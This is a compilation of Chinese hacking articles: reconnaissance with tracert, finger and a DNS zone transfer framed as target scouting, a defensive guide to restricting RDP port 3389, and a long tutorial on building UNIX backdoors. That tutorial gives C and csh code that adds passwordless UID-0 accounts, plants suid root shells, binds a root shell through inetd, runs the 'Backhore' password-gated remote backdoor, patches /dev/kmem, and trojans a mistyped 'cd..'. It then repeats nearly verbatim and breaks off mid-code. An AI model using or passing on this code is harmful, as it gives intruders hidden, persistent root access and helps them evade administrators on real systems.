5 95 ms 90 ms 99 ms 202.96.102.4
6 90 ms 95 ms 100 ms 202.96.102.4

Trace complete.

    上面的这些输出代表什么意思？左边的数字是该路由通过的计算机数目。"150 ms"是指向那台计算机发送消息的往返时间，单位是微秒。由于每条消息每次的来回的时间不一样，tracert将显示来回时间三次。"*"表示来回时间太长，tracert将这个时间“忘掉了”。在时间信息到来后，计算机的名字信息也到了。开始是一种便于人们阅读的格式， 接着是数字格式。

C:\WINDOWS>tracert 152.163.199.56

Tracing route to dns-aol.ANS.NET [198.83.210.28]over a maximum of 30 hops:

1 124 ms 106 ms 105 ms 202.96.101.57
2 95 ms 95 ms 90 ms 0fa1.1-rtr1-a-hz1.zj.CN.NET [202.96.101.33]
3 100 ms 90 ms 100 ms 202.101.165.1
4 90 ms 95 ms 95 ms 202.97.18.241
5 105 ms 105 ms 100 ms 202.97.18.93
6 100 ms 99 ms 100 ms 202.97.10.37
7 135 ms 98 ms 100 ms 202.97.9.78
8 760 ms 725 ms 768 ms gip-ftworth-4-serial8-3.gip.net [204.59.178.53]
9 730 ms 750 ms 715 ms gip-ftworth-4-serial8-3.gip.net [204.59.178.53]
10 750 ms 785 ms 772 ms 144.232.11.9
11 740 ms 800 ms 735 ms sl-bb11-pen-2-0.sprintlink.NET [144.232.8.158]
12 790 ms 800 ms 735 ms sl-nap2-pen-4-0-0.sprintlink.net [144.232.5.66]
13 770 ms 800 ms 800 ms p219.t3.ans.net [192.157.69.13]
14 775 ms 820 ms 780 ms h14-1.t60-6.Reston.t3.ANS.NET [140.223.17.18]
15 780 ms 800 ms 800 ms h11-1.t60-2.Reston.t3.ANS.NET [140.223.25.34]
16 790 ms 795 ms 800 ms h14-1.t104-0.Atlanta.t3.ANS.NET [140.223.65.18]
17 * h14-1.t104-0.Atlanta.t3.ANS.NET [140.223.65.18] reports: Destination host unreachable.

Trace complete.

3.rusers和finger
    这两个都是Unix命令。通过这两个命令，你能收集到目标计算机上的有关用户的消息。
使用rusers命令，产生的结果如下示意：
gajake snark.wizard.com:ttyp1 Nov 13 15:42 7:30 (remote)
root snark.wizard.com:ttyp2 Nov 13 14:57 7:21 (remote)
robo snark.wizard.com:ttyp3 Nov 15 01:04 01 (remote)
angel111 snark.wizard.com:ttyp4 Nov14 23:09 (remote)
pippen snark.wizard.com:ttyp6 Nov 14 15:05 (remote)
root snark.wizard.com:ttyp5 Nov 13 16:03 7:52 (remote)
gajake snark.wizard.com:ttyp7 Nov 14 20:20 2:59 (remote)
dafr snark.wizard.com:ttyp15Nov 3 20:09 4:55 (remote)
dafr snark.wizard.com:ttyp1 Nov 14 06:12 19:12 (remote)
dafr snark.wizard.com:ttyp19Nov 14 06:12 19:02 (remote)

    最左边的是通过远程登录的用户名。还包括上次登录时间，使用的SHELL类型等等信息。
    使用finger可以产生类似下面的结果：
user S00 PPP ppp-122-pm1.wiza Thu Nov 14 21:29:30 - still logged in
user S15 PPP ppp-119-pm1.wiza Thu Nov 14 22:16:35 - still logged in
user S04 PPP ppp-121-pm1.wiza Fri Nov 15 00:03:22 - still logged in
user S03 PPP ppp-112-pm1.wiza Thu Nov 14 22:20:23 - still logged in
user S26 PPP ppp-124-pm1.wiza Fri Nov 15 01:26:49 - still logged in
user S25 PPP ppp-102-pm1.wiza Thu Nov 14 23:18:00 - still logged in
user S17 PPP ppp-115-pm1.wiza Thu Nov 14 07:45:00 - still logged in
user S-1 0.0.0.0 Sat Aug 10 15:50:03 - still logged in
user S23 PPP ppp-103-pm1.wiza Fri Nov 15 00:13:53 - still logged in
user S12 PPP ppp-111-pm1.wiza Wed Nov 13 16:58:12 - still logged in
    这个命令能显示用户的状态。该命令是建立在客户/服务模型之上的。用户通过客户端软件向服务器请求信息，然后解释这些信息，提供给用户。在服务器上一般运行一个叫做fingerd的程序，根据服务器的机器的配置，能向客户提供某些信息。如果考虑到保护这些个人信息的话，有可能许多服务器不提供这个服务，或者只提供一些无关的信息。

4.host命令
    host是一个Unix命令，它的功能和标准的nslookup查询一样。唯一的区别是host命令比较容易理解。host命令的危险性相当大，下面举个使用实例，演示一次对bu.edu的host查询。
host -l -v -t any bu.edu
    这个命令的执行结果所得到的信息十分多，包括操作系统，机器和网络的很多数据。先看一下基本信息：
Found 1 addresses for BU.EDU
Found 1 addresses for RS0.INTERNIC.NET
Found 1 addresses for SOFTWARE.BU.EDU
Found 5 addresses for RS.INTERNIC.NET
Found 1 addresses for NSEGC.BU.EDU
Trying 128.197.27.7
bu.edu 86400 IN SOA BU.EDU HOSTMASTER.BU.EDU(
961112121 ;serial (version)
900 ;refresh period
900 ;retry refresh this often
604800 ;expiration period
86400 ;minimum TTL
)
bu.edu 86400 IN NS SOFTWARE.BU.EDU
bu.edu 86400 IN NS RS.INTERNIC.NET
bu.edu 86400 IN NS NSEGC.BU.EDU
bu.edu 86400 IN A 128.197.27.7

    这些本身并没有危险，只是一些机器和它们的DNS服务器。这些信息可以用WHOIS或在注册域名的站点中检索到。但看看下面几行信息：
bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/41 UNIX
PPP-77-25.bu.edu 86400 IN A 128.197.7.237
PPP-77-25.bu.edu 86400 IN HINFO PPP-HOST PPP-SW
PPP-77-26.bu.edu 86400 IN A 128.197.7.238
PPP-77-26.bu.edu 86400 IN HINFO PPP-HOST PPP-SW
ODIE.bu.edu 86400 IN A 128.197.10.52
ODIE.bu.edu 86400 IN MX 10 CS.BU.EDU
ODIE.bu.edu 86400 IN HINFO DEC-ALPHA-3000/300LX OSF1

从这里，我们马上就发现一台EDC Alpha运行的是OSF1操作系统。在看看：
STRAUSS.bu.edu 86400 IN HINFO PC-PENTIUM DOS/WINDOWS
BURULLUS.bu.edu 86400 IN HINFO SUN-3/50 UNIX (Ouch)
GEORGETOWN.bu.edu 86400 IN HINFO MACINTOSH MAC-OS
CHEEZWIZ.bu.edu 86400 IN HINFO SGI-INDIGO-2 UNIX
POLLUX.bu.edu 86400 IN HINFO SUN-4/20-SPARCSTATION-SLC UNIX
SFA109-PC201.bu.edu 86400 IN HINFO PC MS-DOS/WINDOWS
UH-PC002-CT.bu.edu 86400 IN HINFO PC-CLONE MS-DOS
SOFTWARE.bu.edu 86400 IN HINFO SUN-SPARCSTATION-10/30 UNIX
CABMAC.bu.edu 86400 IN HINFO MACINTOSH MAC-OS
VIDUAL.bu.edu 86400 IN HINFO SGI-INDY IRIX
KIOSK-GB.bu.edu 86400 IN HINFO GATORBOX GATORWARE
CLARINET.bu.edu 86400 IN HINFO VISUAL-X-19-TURBO X-SERVER
DUNCAN.bu.edu 86400 IN HINFO DEC-ALPHA-3000/400 OSF1
MILHOUSE.bu.edu 86400 IN HINFO VAXSTATION-II/GPX UNIX
PSY81-PC150.bu.edu 86400 IN HINFO PC WINDOWS-95
BUPHYC.bu.edu 86400 IN HINFO VAX-4000/300 OpenVMS

    可见，任何人都能通过在命令行里键入一个命令，就能收集到一个域里的所有计算机的重要信息。而且只化了3秒时间。
    我们利用上述有用的网络命令，可以收集到许多有用的信息，比方一个域里的名字服务器的地址，一台计算机上的用户名，一台服务器上正在运行什么服务，这个服务是哪个软件提供的，计算机上运行的是什么操作系统。
    如果你知道目标计算机上运行的操作系统和服务应用程序后，就能利用已经发现的他们的漏洞来进行攻击。如果目标计算机的网络管理员没有对这些漏洞及时修补的话，入侵者能轻而易举的闯入该系统，获得管理员权限，并留下后门。
    如果入侵者得到目标计算机上的用户名后，能使用口令破解软件，多次试图登录目标计算机。经过尝试后，就有可能进入目标计算机。得到了用户名，就等于得到了一半的进入权限，剩下的只是使用软件进行攻击而已。


初谈使用IP策略阻止3389非法访问

by wawa 2002/04/04
http://www.haowawa.com/

此文只是提供一个思路,仅仅适合与我同样菜的朋友,我还不理解系统IP策略,
实现的办法很笨,理解也有错误,还请高手指教!

2000的终端服务是一个无论在速度还是在易操作性上都是非常出色的远程管理,也是因为
它的这些优点,基于对它默认使用的3389端口的攻击和扫描,是愈来愈多,非法入侵者通过3389
进入后,会完全控制您的主机,或是利用此主机作为远程转移攻击平台,给您给别人都带来了不小
的麻烦.

我们大家现在都已经认识到这一点,开始着手3389的安全防护,比如:给系统装上最新的SP,删除
系统输入法帮助,更改默认的3389端口,将终端服务RDP协议绑定在需要连接的介面卡上等等方法,
但这些也会有不足的地方,能否可以进一步的保证3389的安全性呢?回答是肯定的.我们可以使用
2000的IP安全策略来加强3389的防护.

思路是这样:我们在主机过滤大部分远程连接本地3389端口的TCP请求,仅仅允许通过我们指定的
授权IP连接(管理员所使用的工作站地址),下面我们来看看如何实现.(我第一次使用时,感觉挺
复杂的,呵呵~ 我笨,但了解后就感觉好了,希望您第一次要耐着性子尝试一下,对以后在安全管理系统
上会有帮助!)

首先,打开"管理工具"中的"本地安全策略",在"IP安全策略"选项上点击右键,
如图1:

选择"创建IP安全策略",会弹出向导窗口,单击下一步,
在弹出的窗口中,输入此策略的名称,比如这里我们键入"3389过滤"
再单击下一步,以后全部默认下一步,其中有一个警告,单击"是"即可
这样就完成新策略的添加.
如图2:

点击确定后,回到图1界面,选择"管理IP筛选器操作",弹出窗口,
如图3

我们先要建立一个筛选器,单击"添加",弹出窗口,在筛选器名称里填入"3389筛选器1",
再单击旁边的"添加",会弹出向导窗口,单击"下一步",会出现源地址选项,(你可以按照自己
的需要选择),在这里我们选择"任何IP地址",单击下一步,在目的地址中选择"我的IP地址",
再单击下一步,选择IP协议,这里我们选择TCP,单击下一步,会出现端口选择,
如图4:

我们设置从任何端口到本机的3389端口.单击下一步.就完成了筛选器的建立.
如图5:

接着回到图3界面,单击"管理筛选器操作"页栏,单击"添加",
会弹出筛选器操作向导,单击"下一步",取名为"阻止3389",单击下一步,
在选择操作页面中选择"阻止",单击"下一步",就完成了筛选器的建立.
如图6:

好了! 我们建立了筛选器和筛选器操作,现在就要建立IP安全规则了.
(***)在图1界面中,双击我们刚刚建立的"3389过滤"策略,弹出策略属性窗口,然后单击"添加"
弹出向导,单击"下一步",一直单击下一步,其中一个选择"是",直到这里,
如图7:

这时,我们要选择我们刚才建立的"3389筛选器1",然后再单击下一步.如图8:
(大家注意到没有,傍边的"添加""编辑"等按钮,其实我们可以在此向导中就可以一次完成建立筛选器及
筛选器操作等工作)
图8

我们选择建立的"阻止3389"的操作,单击"下一步",就完成了安全规则的建立.

现在我们就已经有了一个基于在3389端口阻止所有IP连接的安全策略了.
现在,你在图1的界面上,在"3389过滤"策略上单击右键,再单击"指派",
这样,系统就开始应用安全策略了.所有连接3389的TCP请求都将被阻止.

现在所有的连接都被阻止了,管理员如何连接呢? 别急我们再来建立一个允许管理员登陆的
策略.

我们回到图3的界面,重复建立筛选器的步骤,建立一个名为"3389筛选器2"的筛选器,
别的设置和"3389筛选器1"的一样,只是在选择源地址时要选择"一个特定的IP地址",这里比如
我的管理员工作站IP是192.168.0.2,如图9:

然后再重复建立筛选器操作的步骤,建立一个名为"允许3389"的操作,和上面不同的是在
选择动作时使用"许可".

再回到上面的(***)的地方,重复建立规则的步骤,用"3389筛选器2"和"允许3389"建立一个
新的规则,完成后在策略"3389过滤"属性中显示如下:
如图10:

至此,我们已经完成了在3389端口上的IP策略!
此时,只有来自192.168.0.2的IP地址将被许可连接,其他的IP地址通讯都将被阻塞.
(IP策略需要指派后才可生效,不需要重起,在更改设置时也不用停止后再指派.指派相应
的IP策略后,此IP策略名上有个小绿点)

**********************************************
关于动态IP连接的问题

对于拨号上网或动态IP地址的管理员,我想应该可以在允许连接源地址中选择"一个特定的子网"
来实现.我没有环境,所以测试不了.只有猜了.见谅!

另外,是不是可以尝试使用一下第三方工具,如winrouter.设置它关掉任何对3389的连接,当管理员
需要连接3389时,使用本地winrouter远程控制服务器winrouter打开对自己当前IP的允许连接,就可以上
3389了.管理完毕后,再将3389关掉,也可以从一定程度上加强系统安全.
**********************************************

上面就已经提到这只是个思路,我们可以用此办法对其他的一些需要安全防范的端口进行保护,
从最大程度上来保护我们的系统不让入侵者进入.你可以结合2000的帮助更好的学习,
希望我有些错误的理解不会误导你. :)

个人理解,难免有错,请您指正!


创建UNIX后门(初级篇,中级篇,高级篇)

初级篇

    最简单的方法，就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做，因为只要系统管理员检查口令文件就会“漏馅”了。以下是在
    /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。
<++> backdoor/backdoor1.c
#include
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
}
<-->

比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0，并将其第二个域（口令域）设为空。（注意，如果你使用的是较高版本的*nix，也许还要修改 /etc/shadow 文件。）

在 /tmp 目录下放置 suid shell。以后只要你运行这个程序，就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时，或者每次启动都会清除 /tmp 目录下的数据，另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然，你可以自己修改或清除这些限制（因为你已是根用户，有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件）。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。

<++> backdoor/backdoor2.c
#include
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
<-->
____________________________________________________________________
中级篇

超级服务器守护进程（inetd）的配置文件。系统管理员一般情况下不经常检查该文件，因此这倒是个放置“后门”的好地方。:) 那么在这里如何建立一个最好的后门呢？当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先，让我们先来了解一下这方面的基础知识：inetd 进程负责监听各个TCP和UDP端口的连接请求，并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单，基本形式如下：

(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd

1：第一栏是服务名称。服务名通过查询 /etc/services 文件（供 TCP 和 UDP 服务使用）或 portmap 守护进程（供 RPC 服务使用）映射成端口号。RPC（远程过程调用）服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。
2：第二栏决定服务使用的套接口类型：stream、dgram 或 raw。一般说来，stream 用于 TCP 服务，dgram 用于 UDP， raw 的使用很少见。
3：第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。
4：如果所说明的服务一次可处理多个请求（而不是处理一个请求后就退出），那么第四栏应置成 wait，这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适，那么在本栏中填 nowait。
5：第五栏给出运行守护进程的用户名。
6：第六栏给出守护进程的全限定路径名。
7：守护进程的真实名字及其参数。

如果所要处理的工作微不足道（如不需要用户交互），inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以，要安装一个便利的后门，可以选择一个不常被使用的服务，用可以产生某种后门的守护进程代替原先的守护进程。例如，让其添加 UID 0 的帐号，或复制一个 suid shell。

一个比较好的方法之一，就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的：

daytime stream tcp nowait root internal

修改为：

daytime stream tcp nowait /bin/sh sh -i.

然后重启（记住：一定要重启）inetd 进程：

killall -9 inetd。

但更好、更隐蔽的方法是伪造网络服务，让它能够在更难以察觉的情况下为我们提供后门，例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问，那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口，该程序对外来连接不提供任何提示符，但只要直接输入了正确的口令，就能够顺利地进入系统。以下是这种后门的一个示范程序。（注：这个程序写得并不很完整。）

<++> backdoor/remoteback.c
/* Coders:
Theft

Help from:
Sector9, Halogen

Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup:
# gcc -o backhore backhore.c # ./backdoor password &
Run:
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.

Distributers:
Ethical Mutiny Crew

*/

#include
#include
#include
#include
#include
#include
#include
#include

#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr

void handle(int);

int
main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes, cmd;
char ask[10]="Command: ";
char *bytes, *buf, pass[40];
struct sockaddr_in my_addr;

struct sockaddr_in their_addr;

printf("\n Backhore BETA by Theft\n");
printf(" 1: trojans rc.local\n");
printf(" 2: sends a systemwide message\n");
printf(" 3: binds a root shell on port 2000\n");
printf(" 4: creates suid sh in /tmp\n");
printf(" 5: creates mutiny account uid 0 no passwd\n");
printf(" 6: drops to suid shell\n");
printf(" 7: information on backhore\n");
printf(" 8: contact\n");

if (argc != 2) {
fprintf(stderr,"Usage: %s password\n", argv[0]);
exit(1);
}

strncpy(pass, argv[1], 40);
printf("..using password: %s..\n", pass);

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}

my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;

if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {

perror("bind");
exit(1);
}

if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}

sin_size = sizeof(SA);
while(1) { /* main accept() loop */
if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1)
    {
perror("accept");
continue;
}
if (!fork()) {
dup2(new_fd, 0);
dup2(new_fd, 1);
dup2(new_fd, 2);
fgets(buf, 40, stdin);
if (!strcmp(buf, pass)) {
printf("%s", ask);
cmd = getchar();
handle(cmd);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
}
}

void
handle(int cmd)
{
FILE *fd;

switch(cmd) {
case '1':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Trojaning rc.local\n");
fd = fopen("/etc/passwd", "a+");
fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
fclose(fd);
printf("Trojan complete.\n");
break;
case '2':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Sending systemwide message..\n");
system("wall Box owned via the Ethical Mutiny Crew");
printf("Message sent.\n");
break;
case '3':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding inetd backdoor... (-p)\n");
fd = fopen("/etc/services","a+");
fprintf(fd,"backdoor\t2000/tcp\tbackdoor\n");
fd = fopen("/etc/inetd.conf","a+");
fprintf(fd,"backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n");
execl("killall", "-HUP", "inetd", NULL);
printf("\ndone.\n");
printf("telnet to port 2000\n\n");
break;
case '4':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding Suid Shell... (-s)\n");
system("cp /bin/sh /tmp/.sh");
system("chmod 4700 /tmp/.sh");
system("chown root:root /tmp/.sh");
printf("\nSuid shell added.\n");
printf("execute /tmp/.sh\n\n");
break;
case '5':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding root account... (-u)\n");
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/:/bin/bash\n");
printf("\ndone.\n");
printf("uid 0 and gid 0 account added\n\n");
break;
case '6':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Executing suid shell..\n");

execl("/bin/sh");
break;
case '7':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nInfo... (-i)\n");
printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving
    you\n");
printf("a root shell on port 2000. example: telnet 2000\n\n");
printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");
printf("executed gives you a root shell. example:/tmp/.sh\n\n");
printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");
printf("The login is 'mutiny' and there is no passwd.");
break;
case '8':
printf("\nBackhore BETA by Theft\n");
printf("\http://theft.bored.org\n");
printf("theft@cyberspace.org\n\n");
break;
default:
printf("unknown command: %d\n", cmd);
break;
}
}
<-->
_____________________________________________________________________________
高级篇

Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间（月、日、周、时、分）运行。如果你足够聪明，就应该加以利用，使之为我们制造“后门”！通过 Cron 服务，你可以让它在每天凌晨 2:00 （这个时候网管应该睡觉了吧。）运行后门程序，使你能够轻易进入系统干你想干的事，并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中，其格式如下：

(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb

1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行的程序

以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门，只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例：

0 0 * * * /usr/bin/retract

<++> backdoor/backdoor.sh
#!/bin/csh

set evilflag = (****grep eviluser /etc/passwd****)

if($#evilflag == 0) then

set linecount = ****wc -l /etc/passwd****
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
<-->

[综合]

当然，我们可以编写木马程序，并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例：

<++> backdoor/backdoor3.c
#include
#define pass "triad"
#define BUFFERSIZE 6

int main(argc, argv)
int argc;
char *argv[];{

int i=0;

if(argv[1]){

if(!(strcmp(pass,argv[1]))){

system("cp /bin/csh /bin/.swp121");
system("chmod 4755 /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}

printf("372f: Invalid control argument,
    unable to initialize. Retrying");
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nAction aborted after 10 attempts.\n");
return(0);
}
<-->

[变种]

以下程序通过在内存中寻找你所运行程序的 UID，并将其改为 0，这样你就有了一个 suid root shell 了。

<++> backdoor/kmemthief.c
#include
#include
#include
#include
#include
#include
#include

#define pass "triad"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

int count, fd;
long where, lseek();

if(argv[1]){
if(!(strcmp(pass,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);

if(fd<0){
printf("Cannot read or write to
/dev/kmem\n");
perror(argv);
exit(10);
}

userlocation=address();
where=(lseek(fd,userlocation,0);

if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}

count=read(fd,&userpage,sizeof(struct user));

if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}

printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);

userpage.u_ruid=0;
userpage.u_rgid=0;

where=lseek(fd,userlocation,0);

if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}

write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

execle("/bin/csh","/bin/csh","-i",(char
    *)0, envp);
}
}

}
<-->

[“笨”方法]

你有没有曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."？这是由于使用 MS Windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢？如果是这样的话，可不可以让他为我们做点“贡献”呢？:) 例如当他输入 "cd.." 时，会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例：

<++> backdoor/dumb.c
/*
本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能，从而骗过管理员。
*/

#include
#include

main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
<-->


创建UNIX后门

初级篇

    最简单的方法，就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做，因为只要系统管理员检查口令文件就会“漏馅”了。以下是在
    /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。
<++> backdoor/backdoor1.c
#include
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
}
<-->

比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0，并将其第二个域（口令域）设为空。（注意，如果你使用的是较高版本的*nix，也许还要修改 /etc/shadow 文件。）

在 /tmp 目录下放置 suid shell。以后只要你运行这个程序，就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时，或者每次启动都会清除 /tmp 目录下的数据，另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然，你可以自己修改或清除这些限制（因为你已是根用户，有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件）。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。

<++> backdoor/backdoor2.c
#include
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
<-->
____________________________________________________________________
中级篇

超级服务器守护进程（inetd）的配置文件。系统管理员一般情况下不经常检查该文件，因此这倒是个放置“后门”的好地方。:) 那么在这里如何建立一个最好的后门呢？当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先，让我们先来了解一下这方面的基础知识：inetd 进程负责监听各个TCP和UDP端口的连接请求，并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单，基本形式如下：

(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd

1：第一栏是服务名称。服务名通过查询 /etc/services 文件（供 TCP 和 UDP 服务使用）或 portmap 守护进程（供 RPC 服务使用）映射成端口号。RPC（远程过程调用）服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。
2：第二栏决定服务使用的套接口类型：stream、dgram 或 raw。一般说来，stream 用于 TCP 服务，dgram 用于 UDP， raw 的使用很少见。
3：第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。
4：如果所说明的服务一次可处理多个请求（而不是处理一个请求后就退出），那么第四栏应置成 wait，这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适，那么在本栏中填 nowait。
5：第五栏给出运行守护进程的用户名。
6：第六栏给出守护进程的全限定路径名。
7：守护进程的真实名字及其参数。

如果所要处理的工作微不足道（如不需要用户交互），inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以，要安装一个便利的后门，可以选择一个不常被使用的服务，用可以产生某种后门的守护进程代替原先的守护进程。例如，让其添加 UID 0 的帐号，或复制一个 suid shell。

一个比较好的方法之一，就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的：

daytime stream tcp nowait root internal

修改为：

daytime stream tcp nowait /bin/sh sh -i.

然后重启（记住：一定要重启）inetd 进程：

killall -9 inetd。

但更好、更隐蔽的方法是伪造网络服务，让它能够在更难以察觉的情况下为我们提供后门，例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问，那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口，该程序对外来连接不提供任何提示符，但只要直接输入了正确的口令，就能够顺利地进入系统。以下是这种后门的一个示范程序。（注：这个程序写得并不很完整。）

<++> backdoor/remoteback.c
/* Coders:
Theft

Help from:
Sector9, Halogen

Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup:
# gcc -o backhore backhore.c # ./backdoor password &
Run:
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.

Distributers:
Ethical Mutiny Crew

*/

#include
#include
#include
#include
#include
#include
#include
#include

#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr

void handle(int);

int
main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes, cmd;
char ask[10]="Command: ";
char *bytes, *buf, pass[40];
struct sockaddr_in my_addr;

struct sockaddr_in their_addr;

printf("\n Backhore BETA by Theft\n");
printf(" 1: trojans rc.local\n");
printf(" 2: sends a systemwide message\n");
printf(" 3: binds a root shell on port 2000\n");
printf(" 4: creates suid sh in /tmp\n");
printf(" 5: creates mutiny account uid 0 no passwd\n");
printf(" 6: drops to suid shell\n");
printf(" 7: information on backhore\n");
printf(" 8: contact\n");

if (argc != 2) {
fprintf(stderr,"Usage: %s password\n", argv[0]);
exit(1);
}

strncpy(pass, argv[1], 40);
printf("..using password: %s..\n", pass);

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
